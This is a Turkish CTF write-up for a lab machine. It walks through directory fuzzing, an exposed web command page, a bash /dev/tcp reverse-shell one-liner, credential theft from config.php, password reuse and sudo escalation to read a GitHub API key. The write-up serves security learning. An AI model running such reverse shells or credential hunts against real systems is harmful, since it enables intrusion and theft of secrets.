Giriş ve Makine Özeti

Bu makinemiz, karmaşık exploit zincirleri yerine bilgi ifşası ve hatalı yapılandırmalara odaklanan bir CTF senaryosudur. Makinenin çözüm sürecinde spesifik bir zafiyet sömürüsüne (exploitation) ihtiyaç duyulmamış; bunun yerine titiz bir numaralandırma (enumeration) süreci yürütülmüştür. Makine, geliştirme ortamlarının canlı sisteme taşınmasının, parola tekrar kullanımının ve denetimsiz sudo yetkilerinin yaratacağı riskleri pratik bir şekilde göstermektedir.

CTF'in çözümü :

Reconnaissance:

1. Sorunun Çözümü

Siteyi inceliyoruz ama herhangi bir proje sayfası göremiyoruz burdan sonra sitede daha fazla vakit kaybetmeden belki alt dizinlerindedir diyerek ffuf taraması yapıyoruz

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://williamtaylor.hv/FUZZ -e .txt,.php,.html -mc 200,301,302 -s

-w = Wordlist file

-u = Website url

-e = extensions

-mc = Match (http status) code

-s = Do not print additional information (silent mode)

tarama sonucunda şu dizinler karşımıza çıkıyor.

None
outputs of scanning

buradaki projects dizinine gittiğimiz de 1. sorunun cevabını bulmuş oluyoruz.

2. Sorunun Çözümü

bu noktadan sonra sisteme giriş yapmalıyız veri toplayarak daha fazla ilerleyemiyoruz. Bu aşamada ffuf taraması ile nmap taraması yapıp sonuçlarına göz atalım.

nmap -sV -sC -p- -T4 williamtaylor.hv

-sV = scan the version , -sC = use basic scripts

-p- = scan all ports , -T4 = Aggressive mod

22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.56 ((Debian))
3306/tcp open  mysql      MariaDB 5.5.5-10.5.21
5432/tcp open  postgresql PostgreSQL DB 15.5 - 15.6

nmapten 4 farklı çıktı aldık. Açık portlarda kullanılan versiyonlarda exploit var mı diye bakalım. Bu işlem de Searchsploiti kullanıyoruz.

None
search exploits from version

bu kısımı bir kenara not aldık şimdilik dursun. Burası sıradan reconnaissance kısmıydı.

Hatırlarsanız ffuf taramamızın sonucunda "devtools" diye bir dizin çıkmıştı. Bu devolopersin açıkta bırakmaması gerektiği ama yanlışlıkla açıkta bıraktığı bir dizin. Hemen odağımızı buraya çevirelim. Eğer bir şey bulamazsak nmap çıktımızı yorumlarız.

— Initial Access —

"devtoolsa" girdiğimiz de "command-line.php" ile karşılaşıyoruz.

whoami yazdığımızda www-data olduğumuzu gördük.

buraya komut yazmak hem zahmetli hem de arka arkaya komut yazmak konforsuz olduğu için reverse shell alalım.

kali de : nc -lvnp 4444
webdeki command linede : bash -c 'bash -i >& /dev/tcp/senin_tun0_ip_adresin/4444 0>&1'

Kali de 4444 portunu dinlemeye aldık ve webde de ilgili kodu girdik bu noktadan sonra kendi CMD'imizdeyiz.

buradan sonra işlemlere başlamadan önce yetki yükseltebilirmiyiz diye kontrol ediyoruz.

yetkilerimize bakmak için "sudo -l" yaptığımız da hata alıyoruz.

Shell elde edildikten sonra sistemdeki standart SUID dosyaları kontrol ettik.

find / -perm -u=s -type f 2>/dev/null
None
Executable files with SUID permissions (SUID binaries)

ancak istismar edilebilir bir dosyaya rastlamadık. Hepsi default dosyalar.

Aklımıza ffuf taramasından çıkan "config.php" geliyor sitede bakamamıştık buradan deneyelim.

cd /var/www/williamtaylor.hv
ls -la
cat config.php
None
inside the config.php

şuna bakın resmen sisteme giriş anahtarımızı bulduk.

— Lateral Movement —

bu noktada william kullanıcısına ulaşmayı denedik ve şifre istedi. Bu noktada database şifresi ve kullanıcı şifresi aynıdır diye tahmin yürütüp karşımıza çıkan şifreyi deniyoruz. Burada parola tekrar kullanımı (password reuse) zafiyetini görüyoruz. Bu William'ın sistemine sızmamıza sebep oluyor.

William olarak giriş yapabildik artık sistemde gerçek bir kullanıcıyız.

Bu noktadan sonra 2. soruda bizden istenen şeye geliyoruz, kullanıcının bilgilerini databasede araştırıyoruz.

bu noktadan sonra elimizde olan şifre ile sql e bağlandıktan sonra birkaç basit sql komutu ile ilgili tabloya ulaşıp içinden en çok harcama yapan kullanıcıya ulaşıyoruz.

None
q2 answer

3. Sorunun Çözümü

1 - cat ~/.gitconfig
2 - git config --global user.email

bu noktada 2 farklı şekilde github e-postasına ulaşmak için yolumuz var ve burda 2 side bize doğru cevabı veriyor

1- Global Git Yapılandırma Dosyasını Okumak

Geliştiriciler genellikle tüm projelerinde geçerli olması için Git ayarlarını global olarak yaparlar. Bu ayarlar kullanıcının ev dizinindeki (Home Directory) gizli bir dosyada tutulur: .gitconfig

2- Git Komutunun Kendisini Kullanmak

Eğer dosyayı okumak yerine doğrudan Git aracına "Senin global e-posta adresin ne?" diye sormak istersen, şu komutu kullanabilirsin:

None

4. Sorunun Çözümü

Bu noktada klasörlerin içerisinde baya dolaştım. History dosyalarını okudum, sistemdeki bütün git depolarını buldum, environment variables de arama yaptım ama işimize yarayan bir şey çıkmadı.

find / -type d -name ".git" 2>/dev/null
env | grep -iE "key|token|git|api"

Baya vakit harcadıktan sonra root dizinine erişemediğimi gördüm ve bir şeylerin gizlendiğini düşündüm ki düşünmekte de haklıymışım. Bu noktada tekrar yetki yükseltmeye çalıştım.

ilk olarak williamın yetkilerine bakalım

sudo -l
None

(ALL : ALL) ALL gördük !!! bunun anlamı william aslında gizli bir rootmuş

-Privilege Escalation-

sudo su

root olduk!!!

None

başından beri şüphelendiğimiz root klasörünün altında yer alan .env i okuduğumuzda github apı keyimizi de almış oluyoruz böylelikle maceramız bitiyor.

Sonuç

Freelancer makinesi; açık unutulan test dizinlerinin, parola tekrar kullanımının ve gereksiz verilen sudo ALL yetkisinin bir sistemi nasıl tamamen ele verdiğini gösteren pratik bir örnektir.